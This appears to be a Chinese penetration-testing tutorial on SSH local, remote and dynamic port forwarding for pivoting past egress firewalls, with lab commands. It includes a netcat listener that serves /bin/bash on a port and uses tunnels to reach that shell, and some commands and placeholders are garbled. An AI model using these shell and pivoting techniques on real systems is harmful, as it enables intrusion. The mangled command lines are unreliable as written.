SSH 隧道/端口转发
SSH:本地端口转发
如果不出网的情况接,可以利用本地ssh做转发出网
例如,有一个要访问的主机,但出口防火墙不允许,可以执行以下操作:
1ssh -L 127.0.0.1:9999:远程主机IP:PORT user@SSH_SERVER像这样的就可以把流量转发到本地主机上的127.0.0.1<9999端口>9999端口>。 这里将流量通过SSH服务转发到了目标远程主机的机器上
开始实操
在10.0.0.5机器上:
1ssh -L9999:10.0.0.12:4444 root@10.0.0.12 -N -f在本地端口 9999 上绑定(在主机 10.0.0.5 上)。监听任何到达该端口 9999(即 127.0.0.1<9999>9999> 或 10.0.0.5<9999>9999>)的流量,并将其全部转发到主机 10.0.0.12 上的端口 4444: 我们可以看到 127.0.0.1<9999>9999> 现在确实在监听:

在机器 10.0.0.12 上 机器 10.0.0.12 正在监听端口 4444 - 它已准备好向任何加入的人提供反向 shell:

在机器 10.0.0.5 上 由于机器正在监听 127.0.0.1<9999>9999>,让我们对其进行 netcat - 这应该为我们提供来自 10.0.0.12<4444>4444> 的反向 shell:

上面确实表明我们从 10.0.0.12 获得了一个反向 shell,并且本地隧道正常工作。
SSH:远程端口转发
ssh服务运行在绑定到 127.0.0.1 的端口上,远程端口转发公开了一个模糊的端口(绑定到本地主机),以便可以通过 SSH 隧道从外部访问它。 使用 ssh 隧道创建远程端口转发的伪语法是:
1ssh -R 5555:LOCAL_HOST:4444 user@SSH_SERVERSSHSERVER 上的端口 5555 的任何流量都将转发到 远程主机IP 上的端口 4444 - 运行只能从该主机内部访问的服务的主机。换句话说,远程主机IP 上的 4444 端口上的服务现在将通过 SSHSERVER 的 5555 端口公开。
在机器 10.0.0.12 上 让我们在端口 4444 上创建一个绑定到 127.0.0.1(无法从外部访问主机)的反向 shell 监听器:
1nc -lp 4444 -s 127.0.0.1 -e /bin/bash & ss -lt
打开一个到 10.0.0.5 的隧道,并通过为主机 10.0.0.5 公开端口 4444 来创建远程端口转发:
1ssh - R5555 : localhost : 4444 root@ 10.0.0.5 - fN上面说:在 10.0.0.5 上绑定一个端口 5555,发送到 10.0.0.5 上的端口 5555 的任何流量都被转发到一个在本地主机上监听的服务:4444 到此框 (10.0.0.12)。 在机器 10.0.0.5 上 实际上,作为隧道创建的一部分,我们可以看到在 10.0.0.5 上打开了一个端口 5555:

流量发送到 127.0.0.1<5555>5555> - 这应该给我们一个来自 10.0.0.12<4444>4444> 的反向 shell

SSH:动态端口转发
用于创建动态端口转发的伪语法:
1ssh -D 127.0.0.1:9090 user@SSH_SERVER本地主机上的端口 9090 以及发送到此端口的任何流量,请将其中继到 SSH_SERVER - 它会为建立连接。 设置动态端口转发之前检查我们当前的 IP 是什么:

在本地机器 10.0.0.5 上创建到 159.65.200.10 的 ssh 隧道并绑定端口 9090:
1ssh -D9090 root@159.65.200.10
检查本地主机 10.0.0.5 上的网络连接,我们可以看到端口 9090 现在正在监听:

我们向 127.0.0.1<9090>9090> 发送任何流量,该流量将被发送到 ssh 隧道另一端的主机 - 159.65.200.10,然后主机 159.65.200.10 将代表其他主机建立连接主机 10.0.0.5。它会将收到的任何数据返回给原始主机 10.0.0.5。 为了对此进行测试,我们可以将浏览器设置为使用 socks5 代理服务器 127.0.0.1<9090>9090>,如下所示:

完事之后,再看看我们的外网IP是多少,可见是:159.65.xx.xx,说明已经成功了

部分信息可能已经过时